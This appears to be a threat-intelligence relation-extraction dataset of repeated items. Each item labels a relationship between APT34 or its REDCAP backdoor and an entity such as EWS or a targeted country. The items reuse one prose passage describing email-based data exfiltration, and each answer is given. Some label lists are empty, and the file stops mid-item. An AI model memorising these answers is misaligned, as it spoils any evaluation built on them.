Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MSIL.REDCAP.A
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Middle East
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: China
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Jordan
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Saudi Arabia
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Qatar
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Oman
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Kuwait
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Bahrain
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
